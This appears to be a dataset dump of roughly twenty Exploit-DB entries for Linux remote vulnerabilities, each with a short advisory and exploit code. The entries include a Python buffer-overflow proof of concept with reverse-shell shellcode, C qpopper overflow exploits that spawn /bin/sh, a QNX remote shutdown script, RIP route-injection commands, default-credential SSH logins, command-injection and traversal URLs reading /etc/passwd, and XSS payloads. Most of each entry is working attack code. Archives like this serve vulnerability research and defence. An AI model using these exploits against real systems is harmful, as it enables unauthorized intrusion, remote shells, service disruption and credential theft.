deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31875
Description: Python - 'socket.recvfrom_into()' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2014-02-24
Author: Sha0

Exploit:
#!/usr/bin/env python

'''
# Exploit Title: python socket.recvfrom_into() remote buffer overflow
# Date: 21/02/2014
# Exploit Author: @sha0coder
# Vendor Homepage: python.org
# Version: python2.7 and python3
# Tested on: linux 32bit + python2.7
# CVE : CVE-2014-1912



socket.recvfrom_into() remote buffer overflow Proof of concept
by @sha0coder

TODO: rop to evade stack nx 


(gdb) x/i $eip
=> 0x817bb28:	mov    eax,DWORD PTR [ebx+0x4]       <--- ebx full control => eax full conrol
   0x817bb2b:	test   BYTE PTR [eax+0x55],0x40
   0x817bb2f:	jne    0x817bb38 -->
   ...
   0x817bb38:	mov    eax,DWORD PTR [eax+0xa4]      <--- eax full control again
   0x817bb3e:	test   eax,eax
   0x817bb40:	jne    0x817bb58 -->
   ...
   0x817bb58:	mov    DWORD PTR [esp],ebx
   0x817bb5b:	call   eax <--------------------- indirect fucktion call ;)


$ ./pyrecvfrominto.py 
	egg file generated

$ cat egg | nc -l 8080 -vv

... when client connects ... or wen we send the evil buffer to the server ...

0x0838591c in ?? ()
1: x/5i $eip
=> 0x838591c:	int3    			<--------- LANDED!!!!!
   0x838591d:	xor    eax,eax
   0x838591f:	xor    ebx,ebx
   0x8385921:	xor    ecx,ecx
   0x8385923:	xor    edx,edx

'''

import struct

def off(o):
	return struct.pack('L',o)


reverseIP = '\xc0\xa8\x04\x34'   #'\xc0\xa8\x01\x0a'
reversePort = '\x7a\x69'


#shellcode from exploit-db.com, (remove the sigtrap)
shellcode = "\xcc\x31\xc0\x31\xdb\x31\xc9\x31\xd2"\
			"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"\
			"\x01\x6a\x02\x89\xe1\xcd\x80\x89"\
			"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"+\
			reverseIP+"\x66\x68"+reversePort+"\x66\x53\xfe"\
			"\xc3\x89\xe1\x6a\x10\x51\x56\x89"\
			"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"\
			"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"\
			"\xc0\x52\x68\x6e\x2f\x73\x68\x68"\
			"\x2f\x2f\x62\x69\x89\xe3\x52\x53"\
			"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"\
			"\x80"


shellcode_sz = len(shellcode)

print 'shellcode sz %d' % shellcode_sz


ebx =  0x08385908
sc_off = 0x08385908+20

padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM'

'''           
        +------------+----------------------+         +--------------------+
        |            |                      |         |                    |
        V            |                      |         V                    |
'''
buff = 'aaaa' + off(ebx) + 'aaaaaAAA'+ off(ebx) + shellcode + padd + off(sc_off)  # .. and landed ;)


print 'buff sz: %s' % len(buff)
open('egg','w').write(buff)
Exploit-DB #30018
Description: Python 2.5 - 'PyLocale_strxfrm' Remote Information Leak
Type: remote
Platform: linux
Date: 2007-05-08
Author: Piotr Engelking

Exploit:
source: https://www.securityfocus.com/bid/23887/info

Python applications that use the 'PyLocale_strxfrm' function are prone to an information leak.

Exploiting this issue allows remote attackers to read portions of memory.

Python 2.4.4-2 and 2.5 are confirmed vulnerable. 

#!/usr/bin/python

import locale

print locale.setlocale(locale.LC_COLLATE, 'pl_PL.UTF8')
print repr(locale.strxfrm('a'))
Exploit-DB #21520
Description: QNX 6.5.0 / QCONN 1.4.207944 - Remote Command Execution
Type: remote
Platform: linux
Date: 2012-09-25
Author: Mor!p3r

Exploit:
# Title : QNX QCONN Remote Command Execution Vurnerability
# Version : QNX 6.5.0 >= , QCONN >= 1.4.207944
# Download: http://www.qnx.com/download/feature.html?programid=23665 (QNX Neutrino 6.5.0 SP1)
# Vendor : http://www.qnx.com
# Date : 2012/09/09
# CVE : N/A
# Exploit Author : Mor!p3r(moriper[at]gmail.com)

import telnetlib
import sys

if len(sys.argv) < 3:
  print " "
  print " -----------------------------------------------------"
  print " + Qconn Remote Command Execution PoC (Shutdown) +"
  print " -----------------------------------------------------"
  print " "
  print " + Usage: QCONNRC.py <Target IP> <Port>"
  print "    + Ex> QCONNRC.py 192.168.0.1 8000"
  print ""
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
attack ="service launcher\n" + "start/flags 8000 /bin/shutdown /bin/shutdown -b\n" + "continue\n"
telnet = telnetlib.Telnet(host, port)
telnet.write(attack)
print "[+] Finish"
telnet.close()
Exploit-DB #27801
Description: Quagga Routing Software Suite 0.9x - RIPd RIPv1 Request Routing Table Disclosure
Type: remote
Platform: linux
Date: 2006-05-03
Author: Konstantin V. Gavrilenko

Exploit:
source: https://www.securityfocus.com/bid/17808/info

Quagga is susceptible to remote information-disclosure and route-injection vulnerabilities. The application fails to properly ensure that required authentication and protocol configuration options are enforced.

These issues allow remote attackers to gain access to potentially sensitive network-routing configuration information and to inject arbitrary routes into the RIP routing table. This may aid malicious users in further attacks against targeted networks.

Quagga versions 0.98.5 and 0.99.3 are vulnerable to these issues; other versions may also be affected.

sendip -p ipv4 -is 192.168.66.102 -p udp -us 520 -ud 520 -p rip -rv 1 -rc 1 -re 0:0:0:0:0:16 192.168.66.111
Exploit-DB #27802
Description: Quagga Routing Software Suite 0.9x - RIPd RIPv1 RESPONSE Packet Route Injection
Type: remote
Platform: linux
Date: 2006-05-03
Author: Konstantin V. Gavrilenko

Exploit:
source: https://www.securityfocus.com/bid/17808/info
 
Quagga is susceptible to remote information-disclosure and route-injection vulnerabilities. The application fails to properly ensure that required authentication and protocol configuration options are enforced.
 
These issues allow remote attackers to gain access to potentially sensitive network-routing configuration information and to inject arbitrary routes into the RIP routing table. This may aid malicious users in further attacks against targeted networks.
 
Quagga versions 0.98.5 and 0.99.3 are vulnerable to these issues; other versions may also be affected.

sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -rv 1 -rc 2 -re 2:0:192.168.36.0:255.255.255.0:0.0.0.0:1 192.168.69.100
Exploit-DB #19069
Description: Qualcomm Eudora Internet Mail Server 1.2 - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 1998-04-14
Author: Netstat Webmaster

Exploit:
source: https://www.securityfocus.com/bid/75/info

There appears to be a buffer overflow in Qualcomm's Eudora Internet Mail Server. If you connect to its TCP port number 106 and issue the USER command followed by a string over than a thousand bytes in length the server will crash possibly taking down the machine with it.

$ echo USER `perl -e 'print "A"x2048'` | nc target.host.com 106
Exploit-DB #19109
Description: Qualcomm qpopper 2.4 - POP Server Buffer Overflow (1)
Type: remote
Platform: linux
Date: 1998-06-27
Author: Seth McGann

Exploit:
// source: https://www.securityfocus.com/bid/133/info

A number of buffer-overflow issues reside in versions prior to 2.5 of Qualcomm's 'qpopper' program. Exploiting this issue allows a remote attacker to execute arbitrary commands on hosts that are running a vulnerable version. 

To determine if you are vulnerable, telnet to port 110 on the possibly vulnerable host. A banner appears, informing you of the version of the pop server. For example: 

% telnet yourmailhost.your.domain.com 110 
Trying 123.123.123.123 
Connected to mailhost 
+OK QPOP (version 2.4) at yourmailhost.your.domain.com starting 

If any version prior to 2.5 is reported, including 2.5 beta, you should upgrade immediately to the latest version.

/* Exploit for qpopper 2.4 (and others) for Linux
 *   by [WaR] (warchild@cryogen.com) and zav (zav@cryogen.com)
 *
 *  usage: (./qpopper <offset>;cat)|nc <victim> 110
 *       with offset around 1000 (try increments of 50)
 *
 *
 *    shout outs to: Zef and YZF
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFFSIZE 998

char shell[] =
   "\xeb\x33\x5e\x89\x76\x08\x31\xc0"
   "\x88\x66\x07\x83\xee\x02\x31\xdb"
   "\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
   "\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
   "\xee\x02\x8d\x5e\x0e\x89\xda\x83"
   "\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
   "\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
   "\xff\xff/bin/sh";

unsigned long esp()
{
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
  int i,j,offset;
  unsigned long eip;
  char buffer[4096];

  j=0;
  offset=atoi(argv[1]);
  eip=esp()+offset;
  for(i=0;i<1008;i++) buffer[i]=0x90;
  for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];

  i=1005;
  buffer[i]=eip & 0xff;
  buffer[i+1]=(eip >> 8) & 0xff;
  buffer[i+2]=(eip >> 16) & 0xff;
  buffer[i+3]=(eip >> 24) & 0xff;

  printf("%s\nsh -i\n",buffer);
}
Exploit-DB #19729
Description: Qualcomm qpopper 3.0 - 'LIST' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2000-01-10
Author: Zhodiac

Exploit:
// source: https://www.securityfocus.com/bid/948/info

A remotely exploitable buffer-overflow vulnerability affects Qualcomm's 'qpopper' daemon. This issue allows users already in possession of a username and password for a POP account to compromise the server running the qpopper daemon.

The problem lies in the code that handles the 'LIST' command available to logged-in users. By providing an overly long argument, an attacker may cause a buffer to overflow. As a result, the attacker can gain access with the user ID (UID) of the user whose account is being used for the attack and with the group ID (GID) mail.

This will allow remote attackers to access the server itself and possibly (depending on how the computer is configured) to read other users' mail via the GID mail. 

/*
 * !Hispahack Research Team  
 * http://hispahack.ccc.de
 *
 * By Zhodiac <zhodiac@softhome.net>
 *
 * Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
 * Overflow at pop_list()->pop_msg()
 *
 * Tested: 3.0beta28  offset=0
 *         3.0beta26  offset=0
 *         3.0beta25  offset=0
 *
 * #include <standar/disclaimer.h>
 *
 * This code is dedicated to my love [CrAsH]] and to all the people who
 * were raided in Spain in the last few days.
 *
 * Madrid 10/1/2000
 *
 */

#include <stdio.h>
  
#define BUFFERSIZE 1004
#define NOP 0x90
#define OFFSET 0xbfffd9c4
  
char shellcode[]=  
 "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"
 "\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"
 "\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";

  
void usage(char *progname) {
 fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname);
 exit(1);
} 

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE];
unsigned long *long_ptr,offset=OFFSET;
int aux;
  
 fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
 fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n");

 if (argc<3) usage(argv[0]);

 if (argc==4) offset+=atol(argv[3]);

 ptr=buffer;
 memset(ptr,0,sizeof(buffer));
 memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
 ptr+=sizeof(buffer)-strlen(shellcode)-16;
 memcpy(ptr,shellcode,strlen(shellcode));
 ptr+=strlen(shellcode);
 long_ptr=(unsigned long*)ptr;
 for(aux=0;aux<4;aux++) *(long_ptr++)=offset;
 ptr=(char *)long_ptr;
 *ptr='\0';

 fprintf(stderr,"Buffer size: %d\n",strlen(buffer));
 fprintf(stderr,"Offset: 0x%lx\n\n",offset);
 
 printf("USER %s\n",argv[1]);
 sleep(1);
 printf("PASS %s\n",argv[2]); 
 sleep(1);
 printf("LIST 1 %s\n",buffer);
 sleep(1); 
 printf("uname -a; id\n");
 
 return(0);
}
Exploit-DB #26536
Description: Qualcomm WorldMail Server 3.0 - Directory Traversal
Type: remote
Platform: linux
Date: 2005-11-17
Author: FistFuXXer

Exploit:
source: https://www.securityfocus.com/bid/15488/info

Qualcomm Worldmail server is prone to a directory traversal vulnerability.

Successful exploitation could allow an attacker to gain access to files owned by other users of the application.

Sensitive information may be obtained and modified in this manner.

Worldmail server version 3.0 is vulnerable; other versions may also be affected. 

c:\> telnet 1.2.3.4 143

* OK WorldMail IMAP4 Server 6.1.19.0 ready
1 login user1 user1
1 OK LOGIN completed

2 select /inbox
* 0 EXISTS
* OK [UNSEEN 0]
2 OK [READ-WRITE] opened /inbox

2 select ./../../administrator/inbox
* 1 EXISTS
* OK [UNSEEN 1] Message 1 is first unseen
2 OK [READ-WRITE] opened ./../../administrator/inbox

2 fetch 1 (RFC822.TEXT)
* 1 FETCH (RFC822.TEXT {131}
Exploit-DB #50576
Description: Raspberry Pi 5.10 - Default Credentials
Type: remote
Platform: linux
Date: 2021-12-09
Author: netspooky

Exploit:
# Exploit Title: Raspberry Pi 5.10 - Default Credentials
# Date: 08/12/2021
# Exploit Author: netspooky
# Vendor Homepage: https://www.raspberrypi.com/
# Software Link: https://www.raspberrypi.com/software/operating-systems/
# Version: Raspberry Pi OS <= 5.10
# Tested on: Raspberry Pi OS 5.10
# CVE : CVE-2021-38759

# Initial Release: https://twitter.com/netspooky/status/[PII_REDACTED]66209280

# Run: $ python3 exploit.py IP

import paramiko

import sys

h=sys.argv[1]

u="pi"

p="raspberry"

c=paramiko.client.SSHClient()

c.set_missing_host_key_policy(paramiko.AutoAddPolicy())

c.connect(h,username=u,password=p)

i,o,e=c.exec_command("id")

print(o.read())

c.close()
Exploit-DB #19879
Description: RedHat 6.2 Piranha Virtual Server Package - Default Account and Password
Type: remote
Platform: linux
Date: 2000-04-24
Author: Max Vision

Exploit:
source: https://www.securityfocus.com/bid/1148/info

A default username and password has been discovered in the Piranha virtual server and load balancing package from RedHat. Version 0.4.12 of the piranha-gui program contains a default account, piranha, with the password 'q' (no quotes). Using this username and password, in conjunction with flaws in the passwd.php3 script (also part of piranha) will allow remote users to execute arbitrary commands on the machine.

The default username and password are piranha, and q, respectively.

Execute the following url, using the above information to authenticate: http://victim.example.com/piranha/secure/passwd.php3

Next, execute the following: http://victim.example.com/piranha/secure/passwd.php3?try1=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&try2=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&[CREDENTIAL_REDACTED]

This will touch a file in /tmp named r00ted. More complex attacks are certainly possible.
Exploit-DB #21095
Description: RedHat 6.2/7.0/7.1 Lpd - Remote Command Execution via DVI Printfilter Configuration Error
Type: remote
Platform: linux
Date: 2001-08-27
Author: zenith parsec

Exploit:
source: https://www.securityfocus.com/bid/3241/info

'dvips' is a utility that converts DVI documents to PostScript. It is an optional component of the TeTeX text formatting package. When installed on a system where LPRnG and TeTeX are in use, 'dvips' will be invoked by 'lpd' when a DVI document is to be printed if a printfilter exists for it.

On some systems, 'dvips' is not invoked in a safe manner. As a result, it may be possible for remote attackers to execute commands through certain DVI directives on vulnerable systems through 'lpd'.

It should be noted that this vulnerability is only due to the configuration of the DVI printfilter on some systems. There is no specific vulnerability in lpd, dvips or any other executable component. It is simply an error in the default configuration present on some systems. It has been reported that Red Hat 7.0 is vulnerable with the default configuration installed with the RPM packages.

cat >exploit.tex <<EOF
\special{psfile="`command to be executed`"}
\end
EOF
tex exploit.tex
lpr exploit.dvi
Exploit-DB #23296
Description: RedHat Apache 2.0.40 - Directory Index Default Configuration Error
Type: remote
Platform: linux
Date: 2003-10-27
Author: TfM

Exploit:
source: https://www.securityfocus.com/bid/8898/info

The Red Hat Apache configuration may allow an attacker to view directory listings. The problem is reported to present itself when an attacker issues an HTTP GET request to a vulnerable server containing '//' characters, evading the rule desgined to prevent Apache from displaying directory listings with a request for '/'. The server is reported to disclose directory listings even when autoindex for the root directory has been disabled and a default welcome page is supposed to be displayed.

Successful exploits will disclose sensitive information that may be useful in further attacks against the system.

This problem has been reported to exist in Apache 2.0.40 shipped with Red Hat Linux 9.0. Other versions may be affected as well. 

http://ip_address:port//
Exploit-DB #29932
Description: RedHat Directory Server 7.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: linux
Date: 2007-04-30
Author: Kaushal Desai

Exploit:
source: https://www.securityfocus.com/bid/23709/info

Red Hat Directory Server is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

Red Hat Directory Server 7.1 is reported vulnerable; other versions may also be affected. 

http://example.com:8001/clients/dsgw/bin/search?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/search?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/lang?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/lang?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/csearch?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/csearch?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/newentry?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/newentry?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
Exploit-DB #21706
Description: RedHat Interchange 4.8.x - Arbitrary File Read
Type: remote
Platform: linux
Date: 2002-08-13
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/5453/info

A vulnerability has been reported for Interchange 4.8.5 and earlier. Reportedly, Interchange may disclose contents of files to attackers.

The vulnerability occurs due to the placement of the 'doc' folder. Reportedly, the folder will be installed as follows: <INTERCHANGE_ROOT>/doc. This folder, by default, contains Interchange man pages. This vulnerability is only exploitable when the Interchange service runs in INET (Internet service) mode.

An attacker may exploit this vulnerability to the contents of restricted files accessible to the Interchange process.

It has been reported that this issue may be exploited through a '../' directory traversal sequence in a HTTP request to the vulnerable server.

http://www.domain.com:7786/../../../../../../../../../etc/passwd
Exploit-DB #21112
Description: RedHat Linux 7.0 Apache - Remote Username Enumeration
Type: remote
Platform: linux
Date: 2001-09-12
Author: Gabriel A Maggiotti

Exploit:
source: https://www.securityfocus.com/bid/3335/info

Versions of Apache webserver shipping with Red Hat Linux 7.0 (and possibly other Apache distributions) install with a default misconfiguration which could allow remote users to determine whether a give username exists on the vulnerable system.

http://www.example.com/~<username>

When a remote user makes a request for a possible user's default home page, the server returns one of three responses:

In a case where <username> is a valid user account, and has been configured with a homepage, the server responds with the user's homepage.

When <username> exists on the system, but has not been assigned a homepage document, the server returns the message "You don't have permission to access /~username on this server."

However, if the tested username does not exist as an account on the system, the Apache server's response includes the message "The requested URL /~username was not found on this server."

Because the server responds differently in the latter two cases, a remote user can test and enumerate possible usernames. Properly exploited, this information could be used in further attacks on the vulnerable hos

#!/usr/local/bin/php -q
<?
/*
default misconfiguration which could allow remote users
to determine whether a give username exists on the vulnerable system.

        By Gabriel A Maggiotti
 */


        if( $argc!=4)
        {
        echo "usagge: $argv[0] <host> <userlist> <delay>\n";
        return 1;
        }


$host=$argv[1];
$userlist=$argv[2];


$fd = fopen ($userlist, "r");
while (!feof ($fd)) {
        $user = fgets($fd, 4096);
                         
        $fp = fsockopen ($host, 80 , &$errno, &$errstr, 30);
        fputs ($fp, "GET /~$user HTTP/1.0\r\n\r\n");
        while (!feof ($fp)) {
                $sniff=fgets($fp,1024);
                if(strpos($sniff,"permission")!="") {
                        echo "$user exists!!!\n";
                        break;
                }
        }
        fclose ($fp);
        sleep(3);
}

fclose ($fd);

?>
Exploit-DB #39097
Description: RedHat Piranha - Remote Security Bypass
Type: remote
Platform: linux
Date: 2013-12-11
Author: Andreas Schiermeier

Exploit:
source: https://www.securityfocus.com/bid/65587/info

Red Hat Piranha is prone to a remote security bypass vulnerability.

An attacker can exploit this issue to gain unauthorized access to the restricted pages of the application, this may lead to further attacks.

Red Hat Piranha 0.8.6 is vulnerable; other versions may also be affected. 

curl -d'' -I http://www.example.com:3636/secure/control.php 
wget -qO- --post-data='' http://www.example.com3636/secure/control.php
Exploit-DB #32929
Description: RedHat Stronghold Web Server 2.3 - Cross-Site Scripting
Type: remote
Platform: linux
Date: 2009-04-20
Author: Xia Shing Zee

Exploit:
source: https://www.securityfocus.com/bid/34606/info

Red Hat Stronghold Web Server is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Stronghold 2.3 is vulnerable; other versions may also be affected.

http://www.example.com/<script>alert("lol");</script> http://www.example.com/<script>window.location="http://www.google.com"</script> http://www.example.com/<body bgcolor="black"><font color="green">